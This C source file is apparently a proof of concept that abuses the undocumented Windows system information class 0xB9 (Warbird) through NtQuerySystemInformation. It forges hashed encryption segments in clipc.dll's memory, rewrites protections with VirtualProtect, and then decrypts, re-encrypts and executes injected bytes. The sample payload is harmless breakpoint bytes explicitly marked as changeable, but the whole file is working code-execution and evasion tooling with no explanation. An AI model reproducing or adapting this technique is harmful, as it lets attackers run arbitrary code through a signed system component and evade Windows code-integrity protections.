#include <stdio.h>
#include <windows.h>
#include <winternl.h>

#pragma	comment(lib, "bcrypt.lib")
#pragma comment(lib, "ntdll.lib")

typedef struct _FEISTEL64_ROUND_DATA {
	DWORD FunctionID;
	DWORD Rand0;
	DWORD Rand1;
	DWORD Rand2;
} FEISTEL64_ROUND_DATA;

typedef struct _ENCRYPTION_BLOCK {
	DWORD Flags;
	DWORD RVA;
	DWORD Length;
} ENCRYPTION_BLOCK;

typedef struct _ENCRYPTION_SEGMENT {
	BYTE bHash[32];
	ULONG ulStructSize;
	ULONG _padding0;
	ULONG PayloadOffset;
	ULONG RelocationTableOffset;
	ULONG ulRelocationTableLength;
	ULONG _padding1;
	ULONGLONG ullPreferredImageBase;
	ULONG ulSegmentID;
	ULONG _padding2;
	ULONGLONG ullKey;
	FEISTEL64_ROUND_DATA bRoundData[10];
	DWORD cBlocks;
	ENCRYPTION_BLOCK Blocks[1];
} ENCRYPTION_SEGMENT;

typedef struct _HEAP_EXECUTE_CALL_ARGUMENT {
	BYTE bHash[32];
	ULONG ulStructSize;
	ULONG ulCheckStackSize;
	ULONG PayloadOffset : 28;
	ULONG _padding0;
	ULONG ulChecksum : 8;
	ULONG ulWrapperChecksum : 8;
	ULONG ulRva : 28;
	ULONG ulSize : 28;
	ULONG ulWrapperRva : 28;
	ULONG ulWrapperSize : 28;
	ULONGLONG ullKey;
	FEISTEL64_ROUND_DATA RoundData[10];
} HEAP_EXECUTE_CALL_ARGUMENT, * PHEAP_EXECUTE_CALL_ARGUMENT;

BOOL SHACompute(PVOID Data, SIZE_T DataSize, PVOID OutHash) {
	NTSTATUS	Status;
	BCRYPT_ALG_HANDLE   AlgHandle = NULL;
	BCRYPT_HASH_HANDLE  HashHandle = NULL;
	PBYTE   Hash = NULL;
	DWORD   HashLength = 0;
	DWORD   ResultLength = 0;
	// Open an algorithm handle
	// This sample passes BCRYPT_HASH_REUSABLE_FLAG with BCryptAlgorithmProvider(...) to load a provider which supports reusable hash
	Status = BCryptOpenAlgorithmProvider(
		&AlgHandle,				 // Alg Handle pointer
		BCRYPT_SHA256_ALGORITHM,	// Cryptographic Algorithm name (null terminated unicode string)
		NULL,					   // Provider name; if null, the default provider is loaded
		BCRYPT_HASH_REUSABLE_FLAG); // Flags; Loads a provider which supports reusable hash

	// Obtain the length of the hash
	Status = BCryptGetProperty(
		AlgHandle,				  // Handle to a CNG object
		BCRYPT_HASH_LENGTH,		 // Property name (null terminated unicode string)
		(PBYTE)&HashLength,		 // Address of the output buffer which recieves the property value
		sizeof(HashLength),		 // Size of the buffer in bytes
		&ResultLength,			  // Number of bytes that were copied into the buffer
		0);						 // Flags

	// Allocate the hash buffer on the heap
	Hash = (PBYTE)HeapAlloc(GetProcessHeap(), 0, HashLength);
	if (Hash == NULL)
	{
		Status = STATUS_NO_MEMORY;
	}
	// Create a hash handle

	Status = BCryptCreateHash(
		AlgHandle,				  // Handle to an algorithm provider				 
		&HashHandle,				// A pointer to a hash handle - can be a hash or hmac object
		NULL,					   // Pointer to the buffer that recieves the hash/hmac object
		0,						  // Size of the buffer in bytes
		NULL,					   // A pointer to a key to use for the hash or MAC
		0,						  // Size of the key in bytes
		0);						 // Flags
	if (!NT_SUCCESS(Status))
	{
		goto cleanup;
	}

	//
	// Hash the message(s)
	// More than one message can be hashed by calling BCryptHashData 
	//

	Status = BCryptHashData(
		HashHandle,				 // Handle to the hash or MAC object
		(PBYTE)Data,			 // A pointer to a buffer that contains the data to hash
		DataSize,		   // Size of the buffer in bytes
		0);						 // Flags
	if (!NT_SUCCESS(Status))
	{
		goto cleanup;
	}

	//
	// Obtain the hash of the message(s) into the hash buffer
	//

	Status = BCryptFinishHash(
		HashHandle,				 // Handle to the hash or MAC object
		Hash,					   // A pointer to a buffer that receives the hash or MAC value
		HashLength,				 // Size of the buffer in bytes
		0);						 // Flags

	if (!NT_SUCCESS(Status))
	{
		goto cleanup;
	}

	memmove(OutHash, Hash, HashLength);
	Status = 0;

cleanup:

	if (NULL != Hash)
	{
		HeapFree(GetProcessHeap(), 0, Hash);
	}

	if (NULL != HashHandle)
	{
		BCryptDestroyHash(HashHandle);							 // Handle to hash/MAC object which needs to be destroyed
	}

	if (NULL != AlgHandle)
	{
		BCryptCloseAlgorithmProvider(
			AlgHandle,				  // Handle to the algorithm provider which needs to be closed
			0);						 // Flags
	}

	return NT_SUCCESS(Status);
}

// Arbitrary data, can be changed
BYTE test[] = { 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x90, 0x90 };
FEISTEL64_ROUND_DATA rounds[] = { {7, 44, 200, 29},
 {14, 232, 21, 169},
 {21, 255, 51, 128},
 {28, 253, 78, 79},
 {4, 119, 63, 70},
 {11, 51, 194, 231},
 {18, 21, 61, 212},
 {25, 183, 13, 175},
 {1, 248, 94, 21},
 {8, 131, 55, 240} };
ULONG64 key = 0x1234567869694200;
ULONG64 code_offset = 0x3000;

int main()
{
	PBYTE bin = (PBYTE)LoadLibraryA("clipc.dll");
	if (!bin) {
		printf("ded\n");
		return 1;
	}

	DWORD oldProt;

	HEAP_EXECUTE_CALL_ARGUMENT hx = { 0 };
	ENCRYPTION_SEGMENT seg = { 0 };

	hx.ulStructSize = sizeof(HEAP_EXECUTE_CALL_ARGUMENT);
	hx.ullKey = key;
	hx.ulRva = code_offset;
	hx.ulSize = sizeof(test);

	seg.ulStructSize = sizeof(ENCRYPTION_SEGMENT);
	seg.ullKey = key;
	seg.cBlocks = 1;
	seg.Blocks[0].RVA = code_offset;
	seg.Blocks[0].Length = sizeof(test);

	memcpy((void*)&hx.RoundData, (void*)&rounds, sizeof(rounds));
	memcpy((void*)&seg.bRoundData, (void*)&rounds, sizeof(rounds));

	if (!SHACompute((PBYTE)&hx + 0x20, sizeof(hx) - 0x20, hx.bHash)) {
		printf("Failed to hash segment");
		return 1;
	}

	if (!SHACompute((PBYTE)&seg + 0x20, sizeof(seg) - 0x20, seg.bHash)) {
		printf("Failed to hash segment");
		return 1;
	}

	// False decrypt

	ULONGLONG dc_params[] = {
		1,
		(ULONG64)bin,
		(ULONG64)bin,
		0x140000000,
		0,
		0
	};

	VirtualProtect(bin, 0x10000, PAGE_READWRITE, &oldProt);

	memcpy(bin, &seg, sizeof(seg));

	VirtualProtect(bin, 0x10000, PAGE_EXECUTE_READ, &oldProt);

	NTSTATUS ret = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)0xB9, dc_params, sizeof(dc_params), 0);

	if (NT_ERROR(ret)) {
		printf("Failed decrypt! 0x%08x", ret);
		return 1;
	}

	// Re-encrypt
	
	ULONGLONG en_params[] = {
		2,
		(ULONG64)bin,
		(ULONG64)bin,
		0x140000000,
		0,
		0
	};

	VirtualProtect(bin, 0x10000, PAGE_READWRITE, &oldProt);

	memcpy(bin + code_offset, test, sizeof(test));

	VirtualProtect(bin, 0x10000, PAGE_EXECUTE_READ, &oldProt);

	ret = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)0xB9, en_params, sizeof(en_params), 0);

	if (NT_ERROR(ret)) {
		printf("Failed encrypt! 0x%08x", ret);
		return 1;
	}

	// Heap execute
	
	ULONGLONG hxret;

	ULONGLONG hx_params[] = {
		3,
		(ULONG64)bin,
		(ULONG64)&hxret,
		6,
		9,
		4,
		20
	};

	VirtualProtect(bin, 0x10000, PAGE_READWRITE, &oldProt);

	memcpy(bin, &hx, sizeof(hx));

	VirtualProtect(bin, 0x10000, PAGE_EXECUTE_READ, &oldProt);

	ret = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)0xB9, hx_params, sizeof(hx_params), 0);

	if (NT_ERROR(ret)) {
		printf("Failed HX! 0x%08x", ret);
		return 1;
	}

	return 0;
}